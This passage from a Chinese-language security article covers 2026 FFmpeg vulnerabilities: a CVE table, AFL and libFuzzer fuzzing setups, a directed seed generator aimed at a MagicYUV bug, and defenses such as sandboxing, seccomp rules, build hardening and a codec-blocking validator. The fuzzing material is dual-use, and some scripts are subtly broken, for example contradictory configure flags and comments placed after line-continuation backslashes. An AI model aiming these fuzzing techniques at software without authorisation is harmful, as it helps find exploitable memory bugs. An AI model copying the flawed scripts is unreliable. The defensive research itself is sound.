│ Codec层 │ LCL/ZLIB视频解码器 │ 信息泄露 │2026-66038│ 7.1 │
│ (解码器) │ ADX音频解码器 │ OOB读/写 │ - │ - │
│ │ S/PDIF muxer │ OOB读 │ - │ - │
│ │ PNG/APNG编码器 │ 堆越界写 │2026-66040│ 8.7 │
├──────────┼────────────────────────┼──────────────┼──────────┼──────────┤
│ │ hqdn3d降噪滤镜 │ 堆越界写 │2026-66036│ 7.7 │
│ Filter层 │ vf_quirc QR码滤镜 │ 堆越界写 │2026-66041│ 7.7 │
│ (滤镜) │ vf_hqdn3d │ 缓冲区不足 │2026-66036│ 7.7 │
├──────────┼────────────────────────┼──────────────┼──────────┼──────────┤
│ │ MOV/MP4 demuxer │ 整数溢出 │2026-30999│ 7.5 │
│ Demuxer │ (CENC subsample) │ →堆溢出 │ │ │
│ 层(解复用)│ IAMF demuxer │ 资源耗尽 │2026-66037│ 7.1 │
│ │ AVI demuxer │ 各种 │ 多个 │ 变化 │
├──────────┼────────────────────────┼──────────────┼──────────┼──────────┤
│ Protocol │ HTTP/RTP/TCP │ SSRF/资源 │ 多个 │ 变化 │
│ 层(协议) │ file:// │ 耗尽 │ │ │
├──────────┴────────────────────────┴──────────────┴──────────┴──────────┤
│ │
│ 共同特征: │
│ 1. 所有漏洞均可通过处理恶意媒体文件触发 │
│ 2. 不需要认证 (服务器自动处理上传文件) │
│ 3. 涵盖视频、音频、字幕、图片等多种媒体类型 │
│ 4. 一个漏洞影响所有链接FFmpeg的下游项目 │
│ 5. MagicYUV解码器在所有默认构建中启用 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
2026年7月批漏洞详细列表
| CVE编号 | CVSS | 组件 | 漏洞类型 | 影响 |
|---|---|---|---|---|
| CVE-2026-66036 | 7.7 | vf_hqdn3d滤镜 | 堆越界写 | 内存破坏,可能RCE |
| CVE-2026-66037 | 7.1 | IAMF demuxer | 资源耗尽 | DoS (17字节文件→126MB分配) |
| CVE-2026-66038 | 7.1 | LCL/ZLIB解码器 | 信息泄露 | 堆内存泄露,ASLR绕过 |
| CVE-2026-66039 | 8.7 | MACE6音频解码器 | 有符号整数溢出→堆越界写 | 内存破坏,可能RCE |
| CVE-2026-66040 | 8.7 | PNG/APNG编码器 | 堆越界写 | 确定性内存破坏,可能RCE |
| CVE-2026-66041 | 7.7 | vf_quirc滤镜 | 堆越界写 | 内存破坏 |
7. Fuzzing发现FFmpeg漏洞的方法
Fuzzing是发现FFmpeg漏洞最有效的方法之一。以下展示使用AFL和libFuzzer对FFmpeg进行Fuzzing的配置方法。
7.1 使用AFL Fuzzing FFmpeg
#!/bin/bash
# build_ffmpeg_afl.sh - 使用AFL编译FFmpeg
# 1. 下载FFmpeg源码
git clone https://git.ffmpeg.org/ffmpeg.git
cd ffmpeg
# 2. 使用AFL的编译器编译
export CC=afl-gcc
export CXX=afl-g++
# 关键: 启用ASAN检测内存错误
export AFL_USE_ASAN=1
# 配置: 最小化构建,只包含需要fuzz的组件
./configure \
--cc=$CC \
--enable-debug \
--disable-stripping \
--disable-doc \
--disable-programs \
--enable-ffmpeg \
--disable-ffplay \
--disable-ffprobe \
--disable-network \
--enable-decoder=magicyuv \
--enable-decoder=mace6 \
--enable-demuxer=avi \
--enable-demuxer=mov \
--enable-demuxer=caf \
--enable-protocol=file \
--extra-cflags="-fsanitize=address -fno-omit-frame-pointer -g" \
--extra-ldflags="-fsanitize=address"
make -j$(nproc)
# 3. 准备种子语料库
mkdir -p /tmp/ffmpeg_corpus
# 使用FFmpeg自身生成各种格式的种子文件
./ffmpeg -f lavfi -i testsrc=d=0.1 -c:v magicyuv /tmp/ffmpeg_corpus/magicyuv.avi
./ffmpeg -f lavfi -i sine=d=0.1 -c:a pcm_s16le /tmp/ffmpeg_corpus/audio.wav
# 最小化语料库
afl-cmin -i /tmp/ffmpeg_corpus -o /tmp/ffmpeg_corpus_min -- ./ffmpeg -i @@ -f null -
# 4. 启动Fuzzing
afl-fuzz \
-i /tmp/ffmpeg_corpus_min \
-o /tmp/ffmpeg_findings \
-m none \
-t 500 \
-- ./ffmpeg -i @@ -f null -
7.2 使用libFuzzer Fuzzing FFmpeg解码器
// ffmpeg_decoder_fuzzer.c - libFuzzer针对FFmpeg解码器的fuzzer
// 编译: clang -g -O1 -fsanitize=fuzzer,address \
// -I/path/to/ffmpeg libavcodec/libavcodec.a libavutil/libavutil.a \
// ffmpeg_decoder_fuzzer.c -o ffmpeg_decoder_fuzzer \
// -lm -lz -lpthread
#include <libavcodec/avcodec.h>
#include <libavutil/imgutils.h>
#include <libavutil/opt.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
// 目标解码器 - 可配置为不同的解码器
#define TARGET_DECODER AV_CODEC_ID_MAGICYUV
static AVCodecContext *codec_ctx = NULL;
static AVCodecParserContext *parser = NULL;
static AVFrame *frame = NULL;
static AVPacket *pkt = NULL;
static int initialized = 0;
int LLVMFuzzerInitialize(int *argc, char ***argv)
{
// 注册所有编解码器
avcodec_register_all(); // 旧版API
// 或使用新版API: 不需要显式注册
// 查找目标解码器
const AVCodec *codec = avcodec_find_decoder(TARGET_DECODER);
if (!codec) {
fprintf(stderr, "Codec not found\n");
return -1;
}
// 分配编解码器上下文
codec_ctx = avcodec_alloc_context3(codec);
if (!codec_ctx)
return -1;
// 设置一些参数
codec_ctx->width = 1280;
codec_ctx->height = 32;
codec_ctx->coded_width = 1280;
codec_ctx->coded_height = 32;
codec_ctx->pix_fmt = AV_PIX_FMT_YUV420P;
// 打开编解码器
if (avcodec_open2(codec_ctx, codec, NULL) < 0) {
fprintf(stderr, "Could not open codec\n");
return -1;
}
frame = av_frame_alloc();
pkt = av_packet_alloc();
initialized = 1;
return 0;
}
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
{
if (!initialized || size < 4)
return 0;
// 将fuzzer输入作为压缩数据包
pkt->data = (uint8_t *)data;
pkt->size = size;
// 发送数据包到解码器
int ret = avcodec_send_packet(codec_ctx, pkt);
if (ret < 0)
return 0;
// 接收解码后的帧
while (ret >= 0) {
ret = avcodec_receive_frame(codec_ctx, frame);
if (ret < 0)
break;
// 帧解码成功,重置帧
av_frame_unref(frame);
}
// 刷新解码器
avcodec_flush_buffers(codec_ctx);
return 0;
}
7.3 针对特定漏洞的定向Fuzzing
#!/usr/bin/env python3
"""
CVE-2026-8461 定向Fuzzing种子生成器
生成针对MagicYUV解码器slice_height验证的种子文件
"""
import struct
import os
import random
def generate_magicyuv_seed(output_dir: str, count: int = 100):
"""生成针对MagicYUV slice_height的定向种子"""
os.makedirs(output_dir, exist_ok=True)
# 关键变异点: slice_height值
# 正常值: 偶数 (2, 4, 8, 16, 32, 64...)
# 漏洞触发值: 奇数 (1, 3, 5, 7, ..., 31, 33...)
interesting_slice_heights = [
# 边界值
0, 1, 2, 3,
# 奇数值 (触发漏洞)
5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33,
# 大值
0x7FFFFFFF, 0xFFFFFFFF,
# 2的幂
2, 4, 8, 16, 32, 64, 128, 256,
]
interesting_heights = [16, 32, 48, 64, 100, 128, 255, 256]
interesting_widths = [16, 64, 128, 640, 1280, 1920]
for i in range(count):
slice_h = random.choice(interesting_slice_heights)
height = random.choice(interesting_heights)
width = random.choice(interesting_widths)
# 生成AVI种子
seed_path = os.path.join(output_dir, f"seed_{i:04d}.avi")
generate_avi_seed(seed_path, width, height, slice_h)
print(f"[+] 生成 {count} 个定向种子到 {output_dir}")
def generate_avi_seed(path: str, width: int, height: int, slice_h: int):
"""生成单个AVI种子文件 (简化版)"""
with open(path, 'wb') as f:
# 最小AVI + MagicYUV头
# 包含变异的slice_height值
f.write(b'RIFF')
f.write(struct.pack('<I', 0)) # 文件大小占位
f.write(b'AVI ')
# ... (AVI结构构造,参考第3.5节)
# 关键: 在MagicYUV码流中写入变异的slice_height
pass
if __name__ == "__main__":
generate_magicyuv_seed("/tmp/ffmpeg_magicyuv_seeds", count=200)
7.4 Fuzzing配置最佳实践
# 使用AFL++ (增强版AFL) 进行更高效的Fuzzing
# 编译FFmpeg with AFL++
export CC=afl-clang-fast
export CXX=afl-clang-fast++
export AFL_USE_ASAN=1
# 使用CMPLOG提高代码覆盖率发现
export AFL_LLVM_CMPLOG=1
# 使用LAF-SCTF提高整数比较的覆盖率
export AFL_LLVM_LAF_SPLIT_SWITCHES=1
export AFL_LLVM_LAF_SPLIT_COMPARES=1
export AFL_LLVM_LAF_SPLIT_TRANSFORMS=1
# 多核并行Fuzzing
afl-fuzz -i corpus/ -o findings/ -M master -- ./ffmpeg -i @@ -f null - &
for i in $(seq 1 $(nproc --ignore=1)); do
afl-fuzz -i corpus/ -o findings/ -S slave_$i -- ./ffmpeg -i @@ -f null - &
done
wait
# 查找结果
ls -la findings/master/crashes/
8. 防御方案
8.1 升级FFmpeg
# 从源码编译最新版本
git clone https://git.ffmpeg.org/ffmpeg.git
cd ffmpeg
git checkout master # 包含所有修复
# 最小化编译 - 只启用需要的组件
./configure \
--disable-everything \
--enable-decoder=h264 \
--enable-decoder=aac \
--enable-demuxer=mov \
--enable-demuxer=mp3 \
--enable-protocol=file \
--disable-decoder=magicyuv \ # 如果不需要MagicYUV,直接禁用!
--disable-filter=hqdn3d \ # 如果不需要hqdn3d,禁用!
--disable-ffmpeg \
--disable-ffplay \
--disable-ffprobe \
--enable-ffmpeg
make -j$(nproc)
make install
8.2 禁用不必要的解码器
# 检查当前构建包含的解码器
ffmpeg -decoders 2>/dev/null | grep -E "magicyuv|mace6|lcl|zlib"
# 如果不需要MagicYUV解码器,重新编译时禁用
./configure --disable-decoder=magicyuv [其他选项...]
# 或使用运行时解码器黑名单 (如果应用支持)
# 在代码中设置不允许的解码器
8.3 沙箱隔离
#!/usr/bin/env python3
"""
FFmpeg沙箱处理包装器
使用Linux命名空间和seccomp隔离FFmpeg进程
"""
import subprocess
import os
import tempfile
import shutil
class FFmpegSandbox:
"""沙箱化的FFmpeg处理器"""
def __init__(self):
self.bwrap_path = "/usr/bin/bwrap"
self.ffmpeg_path = "/usr/local/bin/ffmpeg"
def process_media_safely(self, input_file: str,
output_dir: str,
ffmpeg_args: list) -> tuple:
"""
在沙箱中安全处理媒体文件
返回: (returncode, stdout, stderr)
"""
# 创建临时目录
sandbox_home = tempfile.mkdtemp(prefix="ffmpeg_sandbox_")
sandbox_input = os.path.join(sandbox_home, "input")
sandbox_output = os.path.join(sandbox_home, "output")
os.makedirs(sandbox_output)
# 复制输入文件到沙箱
shutil.copy2(input_file, sandbox_input)
# 使用bwrap创建沙箱
cmd = [
self.bwrap_path,
# 创建新的命名空间
"--unshare-all", # 隔离所有命名空间
"--share-net", # 但保留网络(如果需要)
# 挂载proc和dev
"--proc", "/proc",
"--dev", "/dev",
"--tmpfs", "/tmp",
# 只读挂载系统库
"--ro-bind", "/usr/lib", "/usr/lib",
"--ro-bind", "/lib", "/lib",
"--ro-bind", "/lib64", "/lib64",
"--ro-bind", self.ffmpeg_path, self.ffmpeg_path,
# 读写挂载沙箱目录
"--bind", sandbox_home, sandbox_home,
"--bind", sandbox_output, sandbox_output,
# 安全限制
"--die-with-parent", # 父进程退出时杀死子进程
"--new-session", # 新会话
# 运行FFmpeg
self.ffmpeg_path,
"-i", os.path.join(sandbox_home, "input"),
"-y", # 覆盖输出
] + ffmpeg_args + [
os.path.join(sandbox_output, "output.mp4")
]
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=60, # 超时限制
env={"HOME": sandbox_home}
)
# 复制输出文件
output_file = os.path.join(sandbox_output, "output.mp4")
if os.path.exists(output_file):
shutil.copy2(output_file, output_dir)
return (result.returncode, result.stdout, result.stderr)
except subprocess.TimeoutExpired:
return (-1, "", "FFmpeg processing timed out (60s)")
finally:
# 清理沙箱
shutil.rmtree(sandbox_home, ignore_errors=True)
# 使用seccomp进一步限制系统调用
SECCOMP_FILTER = """
# seccomp过滤器: 限制FFmpeg可用的系统调用
# 使用seccomp-tools或libseccomp生成
# 允许的系统调用白名单
# 文件操作: read, write, open, openat, close, stat, fstat, lstat
# 内存管理: mmap, munmap, mprotect, brk
# 进程管理: exit, exit_group, rt_sigreturn
# 禁止: execve (防止shellcode执行), fork, clone, socket (如不需要网络)
"""
8.4 编译加固
#!/bin/bash
# FFmpeg编译加固配置
# 使用ASAN/UBSAN编译 (用于检测和开发环境)
./configure \
--extra-cflags="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1" \
--extra-ldflags="-fsanitize=address,undefined" \
--enable-debug \
--disable-stripping \
[其他选项...]
# 生产环境加固 (不使用ASAN,但启用其他保护)
./configure \
--extra-cflags="-fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE" \
--extra-ldflags="-pie -Wl,-z,relro,-z,now" \
--disable-stripping \
[其他选项...]
# Stack Canary: -fstack-protector-strong
# FORTIFY_SOURCE: 缓冲区溢出检测
# PIE + ASLR: 地址空间随机化
# RELRO + BIND_NOW: GOT保护
# 运行时ASAN检测 (用于安全监控)
# 在容器中运行ASAN编译的FFmpeg处理用户上传
# ASAN会在内存错误发生时立即终止进程并报告
ASAN_OPTIONS="abort_on_error=1:detect_leaks=0:halt_on_error=1" \
/usr/local/bin/ffmpeg-asan -i input.mp4 -f null -
8.5 输入校验
#!/usr/bin/env python3
"""
媒体文件预校验模块
在FFmpeg处理前检查文件的合理性
"""
import struct
import os
from typing import Optional, Tuple
class MediaFileValidator:
"""媒体文件安全校验器"""
# 最大允许的帧尺寸
MAX_WIDTH = 7680 # 8K
MAX_HEIGHT = 4320 # 8K
# 最大允许的文件大小
MAX_FILE_SIZE = 500 * 1024 * 1024 # 500MB
# 禁止的编解码器 (不需要或高风险的)
BLOCKED_CODECS = {
b'M8Y0', # MagicYUV (CVE-2026-8461)
b'AVDJ', # AVID DNxHD (如果不需要)
}
def validate_file(self, file_path: str) -> Tuple[bool, str]:
"""校验媒体文件安全性"""
if not os.path.exists(file_path):
return False, "File not found"
# 检查文件大小
file_size = os.path.getsize(file_path)
if file_size > self.MAX_FILE_SIZE:
return False, f"File too large: {file_size} bytes"
# 读取文件头
with open(file_path, 'rb') as f:
header = f.read(4096)
# 检查文件格式和编解码器
format_type = self._detect_format(header)
if format_type == 'avi':
return self._validate_avi(header)
elif format_type == 'mov':
return self._validate_mov(header)
elif format_type == 'caf':
return self._validate_caf(header)
else:
return True, "Unknown format - proceeding with caution"
def _detect_format(self, header: bytes) -> Optional[str]:
"""检测文件格式"""
if len(header) < 12:
return None
if header[0:4] == b'RIFF' and header[8:12] == b'AVI ':
return 'avi'
if header[4:8] == b'ftyp':
return 'mov'
if header[0:4] == b'caff':
return 'caf'
return None
def _validate_avi(self, header: bytes) -> Tuple[bool, str]:
"""校验AVI文件"""
# 查找视频流格式块(strf)
strf_pos = header.find(b'strf')
if strf_pos == -1:
return True, "No stream format found"
# 解析BITMAPINFOHEADER
bi_offset = strf_pos + 8 # 跳过chunk头
if bi_offset + 40 > len(header):
return True, "Header too short for full validation"
bi_width = struct.unpack_from('<i', header, bi_offset + 4)[0]
bi_height = struct.unpack_from('<i', header, bi_offset + 8)[0]
bi_compression = header[bi_offset+16:bi_offset+20]
# 检查帧尺寸
if abs(bi_width) > self.MAX_WIDTH or abs(bi_height) > self.MAX_HEIGHT:
return False, f"Frame size too large: {bi_width}x{bi_height}"
# 检查禁止的编解码器
if bi_compression in self.BLOCKED_CODECS:
codec_name = bi_compression.decode('ascii', errors='replace')
return False, f"Blocked codec: {codec_name}"
return True, "AVI validation passed"
def _validate_caf(self, header: bytes) -> Tuple[bool, str]:
"""校验CAF文件 (针对CVE-2026-66039)"""
# 查找desc chunk
desc_pos = header.find(b'desc')
if desc_pos == -1:
return True, "No desc chunk found"
# 检查desc chunk中的可疑值
# CVE-2026-66039: bytes_per_packet * frames_per_packet溢出
# 需要检查这两个字段是否可能导致整数溢出
# CAF desc chunk格式较为复杂,此处简化检查
return True, "CAF validation passed"
def _validate_mov(self, header: bytes) -> Tuple[bool, str]:
"""校验MOV/MP4文件"""
return True, "MOV validation passed"
# 使用示例
validator = MediaFileValidator()
is_safe, message = validator.validate_file("/tmp/uploaded_video.avi")
if not is_safe:
print(f"[BLOCKED] {message}")
# 拒绝处理该文件
else:
print(f"[OK] {message}")
# 继续处理
8.6 防御措施总结
| 防御层 | 措施 | 针对漏洞 | 优先级 |
|---|---|---|---|
| 升级修复 | 使用FFmpeg git master (含所有修复) | 全部 | 高 |
| 最小化编译 | 禁用不需要的解码器/滤镜 | CVE-2026-8461, 66036, 66039 | 高 |
| 沙箱隔离 | bwrap命名空间 + seccomp系统调用过滤 | 全部 | 高 |
| ASAN检测 | ASAN编译版处理用户上传 | 全部 | 高 |
| 编译加固 | Stack Canary + FORTIFY + PIE + RELRO | 全部 | 中 |
| 输入校验 | 预校验文件格式和编解码器 | CVE-2026-8461, 66039 | 中 |
| 超时限制 | 限制FFmpeg处理时间 | DoS类漏洞 | 中 |
| 文件大小限制 | 限制上传文件大小 | CVE-2026-66037 | 低 |
| 监控告警 | 监控FFmpeg进程崩溃和异常退出 | 全部 | 低 |
9. 总结
FFmpeg在2026年披露的漏洞系列(PixelSmash + 六个高危漏洞)再次证明了多媒体处理框架作为安全攻击面的严重性。这些漏洞的共同模式值得深入理解:
整数溢出模式:CVE-2026-8461(色度平面高度计算不一致)、CVE-2026-66039(MACE6有符号整数溢出)、CVE-2026-30999(MOV CENC整数溢出)都源于对攻击者控制的尺寸/计数字段缺乏溢出检查。在C语言中,整数运算的溢出行为(无符号回绕、有符号未定义)是内存破坏漏洞的最常见根因之一。
缓冲区尺寸不匹配模式:CVE-2026-8461中帧分配器和解码器使用不同的计算逻辑确定色度平面高度,CVE-2026-66036中滤镜初始化时的缓冲区大小与后续帧的实际尺寸不匹配。这类问题的本质是不同组件对同一概念(如"高度")的语义理解不一致。
供应链放大效应:FFmpeg的一个漏洞会影响所有链接它的下游项目——Jellyfin、Plex、VLC、mpv、GNOME缩略图生成器等数百个项目。这些项目本身没有引入漏洞,却通过依赖继承了一切风险。PixelSmash在Jellyfin上的RCE演示清楚地表明,上传一个50KB的AVI文件就足以让整个媒体服务器沦陷。
从防御角度,最有效的措施是最小化编译——禁用不需要的解码器和滤镜。如果应用不需要处理MagicYUV视频,就没有理由在构建中包含它的解码器。FFmpeg支持数百种编解码器,但大多数应用只需要其中一小部分。通过--disable-everything然后按需--enable的方式构建,可以大幅减少攻击面。
其次是沙箱隔离。处理用户上传的媒体文件时,应将FFmpeg运行在bwrap命名空间和seccomp过滤器中,限制其文件系统访问和网络通信。即使FFmpeg被攻破,攻击者也无法直接访问宿主系统。
最后,ASAN编译版应该成为处理不可信输入的标准配置。虽然ASAN会带来约2倍的性能开销,但它能在内存错误发生的瞬间终止进程并生成详细报告,将潜在的安全漏洞转化为可控的崩溃——这比让漏洞在暗中存在要好得多。
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号